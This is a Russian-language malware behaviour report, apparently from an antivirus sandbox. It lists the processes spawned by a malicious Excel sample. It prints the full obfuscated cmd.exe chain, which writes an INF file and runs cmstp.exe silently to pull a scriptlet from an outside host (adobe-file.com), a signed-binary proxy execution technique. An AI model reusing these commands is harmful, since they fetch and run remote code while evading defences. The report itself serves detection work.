Техническая информация
Вредоносные функции
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /im excel.exe /f
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /V /C set "a=n" & set "M=%APPDATA%\fm.txt"& (For %i in ("[versio!a!]" "Sig!a!ature=$Wi!a!dows NT$") do @echo %~i)>"!M!"
- '<SYSTEM32>\cmd.exe' /V /C set "M=%APPDATA%\fm.txt" && echo [DefaultInstall_SingleUser]>>"!M!" && echo UnRegisterOCXs=gmWRgB>>"!M!"
- '<SYSTEM32>\cmd.exe' /V /C set "M=%APPDATA%\fm.txt" && echo [gmWRgB]>>"!M!"
- '<SYSTEM32>\cmd.exe' /V /C set "M=%APPDATA%\fm.txt" &&echo %11%\%a3%%a4%%a5%,NI,%a%%b%%b%%c%%d%//adobe-file.com/uk.txt>>"!M!"
- '<SYSTEM32>\cmd.exe' /V /C set "M=%APPDATA%\fm.txt" && (For %i in ("[Strings]" "a4=rO" "a3=sC" "a5=bJ") do @echo %~i)>>"!M!"
- '<SYSTEM32>\cmd.exe' /V /C set "M=%APPDATA%\fm.txt" && (For %i in ("d=:" "b=t" "a=h" "c=p") do @echo %~i)>>"!M!"
- '<SYSTEM32>\cmd.exe' /V /C set "_a="^" && set "M=%APPDATA%\fm.txt" && echo ServiceName=!_a! !_a!>>"!M!"
- '<SYSTEM32>\cmd.exe' /V /C set "_a="^" && set "M=%APPDATA%\fm.txt" && echo ShortSvcName=!_a! !_a!>>"!M!"
- '<SYSTEM32>\cmd.exe' /V /C if defined PROCESSOR_ARCHITEW6432 (set "M=native")&& start "" %WINDIR%\Sys!M!\cmstp.exe /s /ns "%APPDATA%\fm.txt"
- '<SYSTEM32>\cmd.exe' /V /C if not defined PROCESSOR_ARCHITEW6432 (set "M=tem32") && start "" %WINDIR%\Sys!M!\cmstp.exe /s "%APPDATA%\fm.txt"
- '<SYSTEM32>\cmd.exe' /V /C set "M=k" && set "b=l" && set "c=e" && tas!M!!M!i!b!!b! /im !c!xc!c!!b!.!c!x!c! /f
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\fm.txt
- %APPDATA%\microsoft\network\connections\cm\ .cmp
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /V /C set "a=n" & set "M=%APPDATA%\fm.txt"& (For %i in ("[versio!a!]" "Sig!a!ature=$Wi!a!dows NT$") do @echo %~i)>"!M!"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /V /C set "M=%APPDATA%\fm.txt" && echo [DefaultInstall_SingleUser]>>"!M!" && echo UnRegisterOCXs=gmWRgB>>"!M!"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /V /C set "M=%APPDATA%\fm.txt" && echo [gmWRgB]>>"!M!"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /V /C set "M=%APPDATA%\fm.txt" &&echo %11%\%a3%%a4%%a5%,NI,%a%%b%%b%%c%%d%//adobe-file.com/uk.txt>>"!M!"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /V /C set "M=%APPDATA%\fm.txt" && (For %i in ("[Strings]" "a4=rO" "a3=sC" "a5=bJ") do @echo %~i)>>"!M!"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /V /C set "M=%APPDATA%\fm.txt" && (For %i in ("d=:" "b=t" "a=h" "c=p") do @echo %~i)>>"!M!"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /V /C set "_a="^" && set "M=%APPDATA%\fm.txt" && echo ServiceName=!_a! !_a!>>"!M!"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /V /C set "_a="^" && set "M=%APPDATA%\fm.txt" && echo ShortSvcName=!_a! !_a!>>"!M!"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /V /C if defined PROCESSOR_ARCHITEW6432 (set "M=native")&& start "" %WINDIR%\Sys!M!\cmstp.exe /s /ns "%APPDATA%\fm.txt"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /V /C if not defined PROCESSOR_ARCHITEW6432 (set "M=tem32") && start "" %WINDIR%\Sys!M!\cmstp.exe /s "%APPDATA%\fm.txt"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /V /C set "M=k" && set "b=l" && set "c=e" && tas!M!!M!i!b!!b! /im !c!xc!c!!b!.!c!x!c! /f' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmstp.exe' /s "%APPDATA%\fm.txt"
